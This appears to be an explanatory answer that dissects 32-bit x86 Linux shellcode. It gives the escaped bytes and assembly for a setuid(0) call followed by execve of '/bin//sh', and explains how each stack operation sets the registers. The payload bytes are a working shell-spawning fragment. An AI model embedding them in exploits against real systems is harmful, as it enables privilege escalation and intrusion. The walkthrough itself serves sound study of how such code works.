It only uses the stack to pass the correct values to registers. If you analyse this shell code closely you will identify that all the stack operations are in the end results in some value being put in a register that it is expected.
Take a look at this part that calls setuid(0):
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80
The first operations puts $0x17
into eax
which is exactly the value that's is needed for setuid
. Clearing ebx
for the value being passed to setuid
.
In the same way we can check execv
.
"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
Step by step:
"\x31\xd2" // xor %edx, %edx
clearing edx
for later.
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
puts execv
code (0xb
) into eax
.
"\x52" // push %edx -> NULL
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f -> hs//
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f -> nib/
since edx
was cleared as the first instruction this puts /bin//sh\0
on the stack and the next instruction
"\x89\xe3" // mov %esp, %ebx
put the address of the top of the stack into ebx
-> execv
expects there the first argument.
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
this puts NULL
+ the address of the same string again on the stack and one more time assigning the address of the top of the stack to ecx
where is expected to be
arguments. 'edx' was set to zero so it is like that being passed to execv
.
It looks like this is assuming that esi
is/was cleared.